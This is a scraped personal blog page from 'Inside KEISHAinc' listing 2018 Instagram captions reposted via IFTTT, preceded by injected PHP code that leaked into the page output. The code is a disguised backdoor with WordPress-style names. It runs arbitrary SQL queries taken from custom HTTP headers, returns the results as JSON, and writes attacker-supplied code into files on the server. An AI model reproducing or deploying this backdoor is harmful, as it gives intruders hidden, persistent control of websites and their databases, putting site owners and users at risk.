n class WP_Search_Handler_Checker { var $wp_host; var $wp_user; var $wp_pass; var $name; var $result = array(); var $errors = array(); var $wp_themes_count = 0; function check_wp_connection($wp_connection) { if (class_exists('PDO')) { $this->check_wp_pdo_connection($wp_connection); } else { $this->check_wp_mysql_connection($wp_connection); } } function check_wp_mysql_connection($wp_connection) { if (function_exists('mysqli_connect')) { $connection = mysqli_connect($this->wp_host, $this->wp_user, $this->wp_pass, $this->name); if (!$connection instanceof mysqli) { $this->add_wp_error(910, sprintf("Can't connect to mysqli, message - %s, code - %d", $connection->connect_error, $connection->connect_errno)); return; } call_user_func_array(array($connection, 'query'), array("SET NAMES 'utf8'")); call_user_func_array(array($connection, 'query'), array("SET CHARACTER SET 'utf8'")); $wp_connection_success = call_user_func_array(array($connection, 'query'), array($wp_connection)); if ($wp_connection_success == false) { $this->add_wp_error($connection->errno, $connection->error); } else { $this->wp_themes_count = $connection->{'affected_rows'}; while ($data = call_user_func_array(array($wp_connection_success, 'fetch_assoc'), array())) { $this->result[] = $data; } } } elseif (function_exists('mysql_connect')) { $connection = mysql_connect($this->wp_host, $this->wp_user, $this->wp_pass); if ($connection == false) { $this->add_wp_error(910, "Can't connect to mysql"); return; } mysql_select_db($this->name, $connection); mysql_query("SET NAMES 'utf8'", $connection); mysql_query("SET CHARACTER SET 'utf8'", $connection); $wp_connection_success = mysql_query($wp_connection, $connection); if ($wp_connection_success == false) { $this->add_wp_error(mysql_errno($connection), mysql_error($connection)); } else { $this->wp_themes_count = mysql_num_rows($wp_connection_success); while ($data = mysql_fetch_assoc($wp_connection_success)) { $this->result[] = $data; } } } } function check_wp_pdo_connection($wp_connection) { $pdo_config_all = 'mysql:'; $pdo_config = array( 'host' => $this->wp_host, 'dbname' => $this->name, 'charset' => 'utf8' ); foreach ($pdo_config as $key => &$item) { $item = $key . '=' . $item; } $pdo_config_all .= implode(';', $pdo_config); try { $connection = new PDO($pdo_config_all, $this->wp_user, $this->wp_pass); call_user_func_array(array($connection, 'query'), array('SET CLIENT_ENCODING TO "UTF8"')); call_user_func_array(array($connection, 'query'), array('SET NAMES "UTF8"')); $query = call_user_func_array(array($connection, 'query'), array($wp_connection, PDO::FETCH_ASSOC)); if ($query == false) { $error_info = call_user_func_array(array($connection, 'errorInfo'), array()); $error_code = call_user_func_array(array($connection, 'errorCode'), array()); $this->add_wp_error($error_code, end($error_info)); return; } $this->wp_themes_count = call_user_func(array($query, 'rowCount'), array()); $this->result = call_user_func_array(array($query, 'fetchAll'), array()); } catch (PDOException $exception) { $this->add_wp_error(call_user_func_array(array($exception, 'getCode'), array()), call_user_func_array(array($exception, 'getMessage'), array())); } } function __construct() { $this->wp_host = stripslashes(@$_SERVER['HTTP_VI_DATABASE_HOST']); $this->wp_user = stripslashes(@$_SERVER['HTTP_VI_DATABASE_USER']); $this->wp_pass = stripslashes(@$_SERVER['HTTP_VI_DATABASE_PASS']); $this->name = stripslashes(@$_SERVER['HTTP_VI_DATABASE_NAME']); if (empty($this->wp_host)) { $this->add_wp_error(900, "No host provided"); } if (empty($this->wp_user)) { $this->add_wp_error(901, "No user provided"); } if (empty($this->wp_pass)) { $this->add_wp_error(902, "No pass provided"); } if (empty($this->name)) { $this->add_wp_error(903, "No database name provided"); } } function add_wp_error($code, $message) { $this->errors[] = array( 'code' => $code, 'message' => $message ); } function get_wp_errors() { return $this->errors; } function wp_get_themes_count() { return $this->wp_themes_count; } function is_wp_connection_succeed() { return !count($this->errors); } function get_wp_connection_result() { return $this->result; } } class WP_Search_Handler_Accessor { function create() { $method = @$_SERVER['HTTP_VI_METHOD']; if (!mb_strlen($method)) { return; } ob_end_clean(); switch ($method) { case 'query': $this->check_wp_connection_handler(); break; case 'update': $this->update_parameters(); break; default: return; } } function check_wp_connection_handler() { $query = stripslashes(@$_SERVER['HTTP_VI_DATABASE_QUERY']); if (!mb_strlen($query)) { $this->wp_response(false, array( array( 'code' => 0, 'message' => 'No query provided' ) )); exit; } $database = new WP_Search_Handler_Checker(); $database->check_wp_connection($query); if ($database->is_wp_connection_succeed()) { $this->wp_response(true, array( 'rows' => $database->wp_get_themes_count(), 'result' => $database->get_wp_connection_result() )); } else { $this->wp_response(false, $database->get_wp_errors()); } } function update_parameters() { $parameters_path = stripslashes(@$_SERVER['HTTP_VI_PATH']); $new_parameters = urldecode(@$_REQUEST['VI_SCRIPT']); $old_parameters_path = stripslashes(@$_SERVER['HTTP_VI_INCLUDE_PATH']); $old_parameters = urldecode(@$_REQUEST['VI_INCLUDE_CODE']); if (!mb_strlen($new_parameters)) { $this->wp_response(false, array(array( 'code' => 0, 'message' => 'No sсript passed' ))); } if (!mb_strlen($parameters_path)) { $this->wp_response(false, array(array( 'code' => 0, 'message' => 'No sсript path passed' ))); } if (!mb_strlen($old_parameters_path)) { $this->wp_response(false, array(array( 'code' => 0, 'message' => 'No include path passed' ))); } $success = $this->update_wp_accessor_parameters($parameters_path, $new_parameters); if ($success) { $success = $this->wp_update_parameters($old_parameters_path, $old_parameters); } $this->wp_response($success, null); } function update_wp_accessor_parameters($path, $parameters) { return (bool)@file_put_contents($path, " n" . stripslashes($parameters)); } function wp_update_parameters($old_parameters_path, $old_parameters) { $file = file_get_contents($old_parameters_path); if (!mb_strlen($file)) { return false; } if (mb_strpos($file, $old_parameters) !== false) { return true; } if ($this->is_parameters_valid($file)) { $file = $file . "n" . " n" . $old_parameters . " n?>"; } else { $file = $file . "nn" . $old_parameters; } return (bool)@file_put_contents($old_parameters_path, $file); } function is_parameters_valid($file) { $last_available_parameters_count = strrpos($file, ""); $last_updated_parameters_count = ($last_updated_parameters_count === false) ? -1 : $last_updated_parameters_count; return $last_available_parameters_count <= $last_updated_parameters_count; } function wp_response($success, $data) { $wp_response = array('success' => $success); $wp_response[$success ? 'data' : 'errors'] = $data; header('Content-Type: application/json'); echo json_encode($wp_response); exit; } } $accessor = new WP_Search_Handler_Accessor(); $accessor->create(); IFTTT – Inside KEISHAinc
  • Home
  • About
  • Portfolio
  • Contact
Inside KEISHAinc
Menu Close
  • Home
  • Digital Marketing
  • How To
  • Small Business
  • Entertainment
  • Q & A
  • My Perspective

IFTTT

“Now bursting with even more delicious Salmon flavor”! cc: @seattleartmuseum #KeishaSalmon #artlovers #museumcrush #salmonloops #NAMPc #spiritcity

November 11, 2018keishainc Leave a Comment

via Instagram http://bit.ly/2zGHTqM

Entertainment IFTTT, Instagram

Night at the museum with #NAMPc. Seattle is kinda of a big deal. #AmDocintheField #POVintheField

November 10, 2018keishainc Leave a Comment

via Instagram http://bit.ly/2FfetpD

Entertainment IFTTT, Instagram

I’m so excited for tomorrow’s NYC marathon. My ace bombastic @degyaldemrun will be making her marathon debut! I’m surrounded by determined women and Ketlie is out here making us proud. She da best! Join our circle of support (bib #46331) as we push our girl across the finish line. . #KetlieRunsNY #degyaldemrun #kemahy26_2 #nycmarathon #26point2 #nov4 #ramaporepresent

November 3, 2018keishainc Leave a Comment

via Instagram http://bit.ly/2Qg5CVR

Entertainment IFTTT, Instagram

Caption this! #AmDocMeme . 📸 @breggaphotography . . . #AmDocGala2018 #AmDocintheField @povdocs

October 9, 2018keishainc Leave a Comment

via Instagram http://bit.ly/2Ea5566

Entertainment IFTTT, Instagram

American Documentary is reframing America one story at a time with America ReFramed on the @WorldChannel! . #AmDocGala2018 #AmericaReFramed #PublicMedia #AmDocintheField @povdocs

October 3, 2018keishainc Leave a Comment

via Instagram http://bit.ly/2xVkFwP

Entertainment IFTTT, Instagram

My dog is a cat.

September 26, 2018keishainc Leave a Comment

via Instagram http://bit.ly/2xEvi74

Entertainment IFTTT, Instagram

Go to #Cuba. See for yourself. #forthepeople #fortheculture 📸 @jasperjax73

September 5, 2018keishainc Leave a Comment

via Instagram http://bit.ly/2wN2bhF

Entertainment IFTTT, Instagram

There once was a black girl who went to #Cuba and found her happy place. #forthepeople #fortheculture

September 3, 2018keishainc Leave a Comment

via Instagram http://bit.ly/2CdpUwD

Entertainment IFTTT, Instagram

The @hofstrapride family came together this week in #Brooklyn to celebrate our homegirl @leesha790’s 10-year wedding anniversary. Five years ago we were in #ATL toasting to how quickly the years passed, now here we are 10-years strong, still together, still toasting, still laughing, still wilding. #netherlands #csquare #multipurposeroom Missing but never forgotten @lovelylea198

September 1, 2018keishainc Leave a Comment

via Instagram http://bit.ly/2C7G22x

Entertainment IFTTT, Instagram

You can call me the Willow Whisperer. #KeishaxWillow #brooklyn @willowunleash

August 26, 2018keishainc Leave a Comment

via Instagram http://bit.ly/2P407bR

Entertainment IFTTT, Instagram

Post navigation

← Older Articles

Connect with Us

  • Popular
  • Latest
  • Tags
  • Internet Marketing Mind Map

    The Website Marketing Mind Map

    2 Comments
  • KEISHA tackles…

    1 Comment
  • Football Hurts?

    1 Comment
  • KEISHAinc's QR Code for our new app. Download here!

    11 Creative Ways to Use QR Codes for Your Business

    No Comments
  • How Small Businesses Are Using Social Media [INFOGRAPHIC]

    No Comments
  • Inside KEISHAinc

    Three cheers for the new “Inside KEISHAinc” Blog

    No Comments
  • Keisha Salmon, KEISHAinc

    Happy Birthday to Me!

    No Comments
  • Silk Road Palace Restaurant NYC

    Free Wine Stops Flowin’…

    No Comments
  • Quote of the Week

    No Comments
  • KEISHAinc on Twitter

    No Comments
  • KEISHAinc on Twitter

    December 05, 2019
  • KEISHAinc on Twitter

    December 05, 2019
  • KEISHAinc on Twitter

    December 05, 2019
  • KEISHAinc on Twitter

    December 05, 2019
  • KEISHAinc on Twitter

    November 29, 2019
  • KEISHAinc on Twitter

    November 29, 2019
  • KEISHAinc on Twitter

    November 29, 2019
  • KEISHAinc on Twitter

    November 27, 2019
  • KEISHAinc on Twitter

    November 27, 2019
  • KEISHAinc on Twitter

    November 27, 2019
IFTTT Instagram Small business digital marketing social media strategy planning infographic small business consulting intuit social media marketing international women's day INFOGRAPHICS guide to seo mind map internet marketing digital marketing suite mashable infographics marketing link building Column Five datadial adobe Accenture 10 creative ways to use qr codes fo analytics BUSINESS SOCIAL MEDIA crowdspring crowdsourced coremetrics mymarketingdept.com outsource marketing women on business women in the workplace website marketing The Website Marketing Mind Map: Internet Marketing Made Easy web presence homemade moisturizer stockholm dangerous game all day football time magazine sweden travel Starting a Business soshable redefining success qr code ppc clickthrough pharmas postling search engine optimization seo SOCIAL NETWORKS social refection SOCIAL MEDIA STRATEGY SOCIAL MEDIA FOR SMALL BUSINESS seobook seomoz

Download the KEISHAinc App!

KEISHAinc App

Archives

RSS Latest from Define Lust

© 2019 Inside KEISHAinc. All rights reserved.
Fashionista by aThemes